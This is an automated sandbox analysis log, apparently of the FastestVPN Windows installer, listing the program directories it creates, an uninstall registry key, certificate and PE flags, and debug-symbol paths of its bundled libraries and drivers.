    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\data\is-HLRBV.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driverJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\is-S7R33.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\is-ERERV.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windowsJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\amd64Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-FB3IH.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-IVC6I.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-3E4R0.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-EVBIG.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-NJEU5.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-9CG7N.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\i386Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-N7H3Q.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-FO1DF.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-7UMG2.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-EUPO7.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-0SJ98.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-QK97L.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-F9EDV.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-435KP.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-82JR2.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-A65FP.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-FKR1L.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-T11E5.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\i386Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-S7ED1.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-MUO8K.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-KGUOR.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-VEH95.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-EMFMT.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-O6P8U.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\spJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\is-CO85A.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\is-HPLUE.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driverJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driver\windows7Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driver\windows7\amd64Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driver\windows7\amd64\is-56JKD.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driver\windows7\i386Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driver\windows7\i386\is-U4BRD.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driver\windows8Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driver\windows8\amd64Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driver\windows8\amd64\is-3BVSP.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driver\windows8\i386Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\driver\windows8\i386\is-5MIQQ.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\releaseJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\release\is-K1359.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\sp\release\is-ITKUS.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\ServiceJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-R1MP1.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-F2JV1.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-NHIDA.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-O8H61.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-NHJNP.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-1CJVQ.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-CEUK8.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-UNANK.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-8M1QQ.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-KI25U.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-EDC5Q.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-SIFEE.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-IBU7R.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-R18E4.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-C94HO.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-HF6P6.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-L468K.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-QGH94.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-9QKBR.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-CJ7QL.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-2M5AV.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-0QDRN.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-E39BQ.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Service\is-ILF9I.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-I330H.tmpJump to behavior
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeDirectory created: C:\Program Files\FastestVPN\Service\InstallUtil.InstallLog
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeDirectory created: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.InstallLog
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeDirectory created: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.InstallState
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpRegistry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FastestVPN_is1Jump to behavior
    Source: mnFHs2DuKg.exeStatic PE information: certificate valid
    Source: mnFHs2DuKg.exeStatic file information: File size 13092720 > 1048576
    Source: mnFHs2DuKg.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
    Source: Binary string: System.Configuration.Install.pdb source: FastestVPN.WindowsService.exe, 00000026.00000002.2045913317.0000000000A0F000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000026.00000002.2047950883.0000000002916000.00000004.00000800.00020000.00000000.sdmp
    Source: Binary string: C:\Users\vagrant\buildbot\windows-server-2019-static-msbuild\vcpkg\buildtrees\openssl\x64-windows-ovpn-rel\libssl-1_1-x64.pdb source: is-KHD5M.tmp.2.dr
    Source: Binary string: /_/artifacts/obj/Microsoft.AspNet.SignalR.Core/Release/net45/Microsoft.AspNet.SignalR.Core.pdbE source: FastestVPN.WindowsService.exe, 00000032.00000002.2716519161.0000000000D34000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: D:\a\SQLitePCL.raw\SQLitePCL.raw\SQLitePCL.raw\src\SQLitePCLRaw.core\obj\Release\netstandard2.0\SQLitePCLRaw.core.pdb source: FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2762886148.000000000B9F2000.00000002.00000001.01000000.0000002E.sdmp, FastestVPN.exe, 00000018.00000002.2743669324.000000000568D000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: C:\Users\samuli\source\repos\tap-windows6\devcon\x64\Release\devcon.pdb source: tapinstall.exe, 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmp, tapinstall.exe, 0000000A.00000000.1800979010.00007FF76A724000.00000002.00000001.01000000.00000008.sdmp, tapinstall.exe, 0000000B.00000002.1906163964.00007FF76A724000.00000002.00000001.01000000.00000008.sdmp, tapinstall.exe, 0000000B.00000000.1807542733.00007FF76A724000.00000002.00000001.01000000.00000008.sdmp, is-NJEU5.tmp.2.dr
    Source: Binary string: C:\BuildAgent\work\da2c3d9512902c54\Tooling\obj\Release\System.Web.Cors\System.Web.Cors.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000032.00000002.2730237807.00000000041B2000.00000002.00000001.01000000.0000003D.sdmp
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.WindowsService\obj\Release\FastestVPN.WindowsService.pdbe\FastestVPN.WindowsServic source: FastestVPN.WindowsService.exe, 00000026.00000002.2045743355.00000000008F8000.00000004.00000010.00020000.00000000.sdmp
    Source: Binary string: D:\VPN core\FastestVPN-Windows-Core\VPN\obj\Debug\VPN.pdbB3\3 N3_CorDllMainmscoree.dll source: FastestVPN.WindowsService.exe, 00000032.00000002.2731823625.0000000004282000.00000002.00000001.01000000.0000003F.sdmp, is-2M5AV.tmp.2.dr
    Source: Binary string: D:\VPN core\FastestVPN-Windows-Core\VPN.Common\obj\Debug\VPN.Common.pdb source: mnFHs2DuKg.tmp, 00000002.00000002.2147312312.000000000018C000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000026.00000002.2049263909.0000000005152000.00000002.00000001.01000000.00000028.sdmp, is-VO662.tmp.2.dr
    Source: Binary string: D:\a\SQLitePCL.raw\SQLitePCL.raw\SQLitePCL.raw\src\SQLitePCLRaw.provider.dynamic_cdecl\obj\Release\netstandard2.0\SQLitePCLRaw.provider.dynamic_cdecl.pdb source: FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2763144416.000000000BA12000.00000002.00000001.01000000.0000002F.sdmp, is-G502V.tmp.2.dr
    Source: Binary string: /_/artifacts/obj/Microsoft.AspNet.SignalR.Core/Release/net45/Microsoft.AspNet.SignalR.Core.pdbSHA256Z source: FastestVPN.WindowsService.exe, 00000026.00000002.2049372193.0000000005192000.00000002.00000001.01000000.00000027.sdmp, FastestVPN.WindowsService.exe, 00000032.00000002.2723960778.000000000163C000.00000004.00000800.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000032.00000002.2716519161.0000000000D34000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: Microsoft.Owin.Cors.pdbSHA256 source: FastestVPN.WindowsService.exe, 00000032.00000002.2729825927.0000000004192000.00000002.00000001.01000000.00000039.sdmp
    Source: Binary string: \??\C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.PDB source: FastestVPN.WindowsService.exe, 00000026.00000002.2045913317.00000000009C2000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: E:\nt\dnsrv\sdktools\reskit\content\subinacl\source\obj\i386\subinacl.pdb source: subinacl.exe, subinacl.exe, 0000002E.00000002.2078433919.0000000001001000.00000020.00000001.01000000.00000032.sdmp, subinacl.exe, 0000002E.00000000.2064908771.0000000001001000.00000020.00000001.01000000.00000032.sdmp, is-L468K.tmp.2.dr
    Source: Binary string: HPpn0C:\Windows\mscorlib.pdb source: FastestVPN.exe, 00000018.00000002.2748687884.0000000005DD8000.00000004.00000010.00020000.00000000.sdmp
    Source: Binary string: qEC:\Program Files\FastestVPN\Service\Microsoft.AspNet.SignalR.Core.pdb source: FastestVPN.WindowsService.exe, 00000032.00000002.2723960778.000000000163C000.00000004.00000800.00020000.00000000.sdmp
    Source: Binary string: Microsoft.Owin.Cors.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000032.00000002.2729825927.0000000004192000.00000002.00000001.01000000.00000039.sdmp
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.Common\obj\Release\FastestVPN.Common.pdb source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007510000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000032.00000002.2727255873.0000000003D72000.00000002.00000001.01000000.00000033.sdmp, is-R1MP1.tmp.2.dr
    Source: Binary string: C:\Users\vagrant\buildbot\windows-server-2019-static-msbuild\vcpkg\buildtrees\openssl\x64-windows-ovpn-rel\libssl-1_1-x64.pdb?? source: is-KHD5M.tmp.2.dr
    Source: Binary string: Microsoft.Owin.Diagnostics.pdbSHA256 source: FastestVPN.WindowsService.exe, 00000032.00000002.2731000369.0000000004242000.00000002.00000001.01000000.0000003A.sdmp
    Source: Binary string: \??\C:\Windows\exe\FastestVPN.WindowsService.pdbdows A source: FastestVPN.WindowsService.exe, 00000026.00000002.2045913317.00000000009C2000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: /_/artifacts/obj/Microsoft.AspNet.SignalR.Core/Release/net45/Microsoft.AspNet.SignalR.Core.pdb@\ source: FastestVPN.WindowsService.exe, 00000032.00000002.2723960778.000000000163C000.00000004.00000800.00020000.00000000.sdmp
    Source: Binary string: D:\VPN core\FastestVPN-Windows-Core\VPN\obj\Debug\VPN.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000032.00000002.2731823625.0000000004282000.00000002.00000001.01000000.0000003F.sdmp, is-2M5AV.tmp.2.dr
    Source: Binary string: D:\Sagar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.WindowsService\obj\Release\FastestVPN.WindowsService.pdbx source: FastestVPN.WindowsService.exe, 00000026.00000002.2045743355.00000000008F8000.00000004.00000010.00020000.00000000.sdmp
    Source: Binary string: C:\Users\samuli\source\repos\tap-windows6\src\Release\tap0901.pdb source: is-VEH95.tmp.2.dr
    Source: Binary string: c:\Users\Junaid AK\Desktop\New folder (2)\SingleInstanceApplication\SingleInstanceApplication\obj\Release\SingleInstanceApplication.pdb source: FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2740327424.0000000004AC2000.00000002.00000001.01000000.0000000C.sdmp, is-KH3QE.tmp.2.dr
    Source: Binary string: Microsoft.Owin.Hosting.pdbSHA256d"M! source: FastestVPN.WindowsService.exe, 00000032.00000002.2727873554.0000000004072000.00000002.00000001.01000000.00000034.sdmp, is-SIFEE.tmp.2.dr
    Source: Binary string: D:\a\SQLitePCL.raw\SQLitePCL.raw\SQLitePCL.raw\src\SQLitePCLRaw.provider.dynamic_cdecl\obj\Release\netstandard2.0\SQLitePCLRaw.provider.dynamic_cdecl.pdbSHA256 source: FastestVPN.exe, 00000018.00000002.2763144416.000000000BA12000.00000002.00000001.01000000.0000002F.sdmp, is-G502V.tmp.2.dr
    Source: Binary string: D:\VPN core\FastestVPN-Windows-Core\VPN.OpenVpn\obj\Debug\VPN.OpenVpn.pdbRhlh ^h_CorDllMainmscoree.dll source: FastestVPN.WindowsService.exe, 00000032.00000002.2731998895.0000000004292000.00000002.00000001.01000000.00000040.sdmp
    Source: Binary string: D:\a\1\s\SDK\AppCenterAnalytics\Microsoft.AppCenter.Analytics.WindowsDesktop\obj\Microsoft.AppCenter.Analytics.WindowsDesktop\Release\net472\Microsoft.AppCenter.Analytics.pdb source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2748000821.0000000005A42000.00000002.00000001.01000000.0000002B.sdmp
    Source: Binary string: /_/artifacts/obj/Microsoft.AspNet.SignalR.Core/Release/net45/Microsoft.AspNet.SignalR.Core.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000026.00000002.2049372193.0000000005192000.00000002.00000001.01000000.00000027.sdmp, FastestVPN.WindowsService.exe, 00000032.00000002.2723960778.000000000163C000.00000004.00000800.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000032.00000002.2716519161.0000000000D34000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: c:\projects\projectsJ\nfsdk2_1.6\bin\release\win32\nfapi.pdb< source: nfregdrv.exe, 0000001F.00000002.1933399084.0000000010019000.00000002.00000001.01000000.0000001D.sdmp, nfregdrv.exe, 00000023.00000002.1941136972.0000000010019000.00000002.00000001.01000000.0000001D.sdmp
    Source: Binary string: \??\C:\Windows\symbols\exe\FastestVPN.WindowsService.pdb source: FastestVPN.WindowsService.exe, 00000026.00000002.2045913317.0000000000A0F000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: D:\a\1\s\SDK\AppCenterCrashes\Microsoft.AppCenter.Crashes.WindowsDesktop\obj\Microsoft.AppCenter.Crashes.WindowsDesktop\Release\net472\Microsoft.AppCenter.Crashes.pdbSHA256 source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2748109295.0000000005A52000.00000002.00000001.01000000.0000002C.sdmp
    Source: Binary string: Hardcodet.NotifyIcon.Wpf.pdbSHA256[ source: mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2743463677.0000000005652000.00000002.00000001.01000000.00000019.sdmp
    Source: Binary string: h:\projects\netfilter3\bin\Release\Win32\nfregdrv.pdb )0THi source: nfregdrv.exe, 0000001F.00000000.1931104911.0000000000408000.00000002.00000001.01000000.0000001C.sdmp, nfregdrv.exe, 0000001F.00000002.1931627863.0000000000408000.00000002.00000001.01000000.0000001C.sdmp, nfregdrv.exe, 00000023.00000000.1937932139.0000000000408000.00000002.00000001.01000000.0000001C.sdmp, nfregdrv.exe, 00000023.00000002.1939693795.0000000000408000.00000002.00000001.01000000.0000001C.sdmp
    Source: Binary string: D:\a\SQLitePCL.raw\SQLitePCL.raw\SQLitePCL.raw\src\SQLitePCLRaw.bundle_green\obj\Release\net461\SQLitePCLRaw.batteries_v2.pdbSHA256x source: FastestVPN.exe, 00000018.00000002.2760532292.000000000B3F2000.00000002.00000001.01000000.0000002D.sdmp
    Source: Binary string: \??\C:\Windows\FastestVPN.WindowsService.pdb source: FastestVPN.WindowsService.exe, 00000026.00000002.2045913317.00000000009C2000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: em.ServiceProcess.pdb source: FastestVPN.WindowsService.exe, 00000026.00000002.2045913317.0000000000A0F000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: \??\C:\Windows\symbols\dll\System.Configuration.Install.pdb: source: FastestVPN.WindowsService.exe, 00000026.00000002.2045913317.0000000000A0F000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: C:\projects\projectsJ\nfsdk2_1.6\driver_wfp\Win8\Win8Release\x64\netfilter2.pdb source: xcopy.exe, 0000001E.00000002.1930752759.000002617CF4B000.00000004.00000020.00020000.00000000.sdmp, fastestvpndriver.sys.30.dr
    Source: Binary string: agar Work FastestVPN\FastestVPN-Windows-App\FastestVPN.WindowsService\obj\Release\FastestVPN.WindowsService.pdb source: FastestVPN.WindowsService.exe, 00000026.00000002.2045913317.0000000000A0F000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: h:\projects\netfilter3\bin\Release\Win32\nfregdrv.pdb source: nfregdrv.exe, 0000001F.00000000.1931104911.0000000000408000.00000002.00000001.01000000.0000001C.sdmp, nfregdrv.exe, 0000001F.00000002.1931627863.0000000000408000.00000002.00000001.01000000.0000001C.sdmp, nfregdrv.exe, 00000023.00000000.1937932139.0000000000408000.00000002.00000001.01000000.0000001C.sdmp, nfregdrv.exe, 00000023.00000002.1939693795.0000000000408000.00000002.00000001.01000000.0000001C.sdmp
    Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.pdb% source: FastestVPN.WindowsService.exe, 00000026.00000002.2045913317.0000000000A0F000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: C:\Windows\System.Configuration.Install.pdbpdball.pdb source: FastestVPN.WindowsService.exe, 00000026.00000002.2045913317.0000000000A0F000.00000004.00000020.00020000.00000000.sdmp
    Source: Binary string: D:\VPN core\FastestVPN-Windows-Core\VPN.Common\obj\Debug\VPN.Common.pdbH source: mnFHs2DuKg.tmp, 00000002.00000002.2147312312.000000000018C000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000026.00000002.2049263909.0000000005152000.00000002.00000001.01000000.00000028.sdmp, is-VO662.tmp.2.dr
    Source: Binary string: D:\VPN core\FastestVPN-Windows-Core\VPN.WireGuard\obj\Debug\VPN.WireGuard.pdb source: FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000032.00000002.2733382817.00000000042E2000.00000002.00000001.01000000.00000042.sdmp
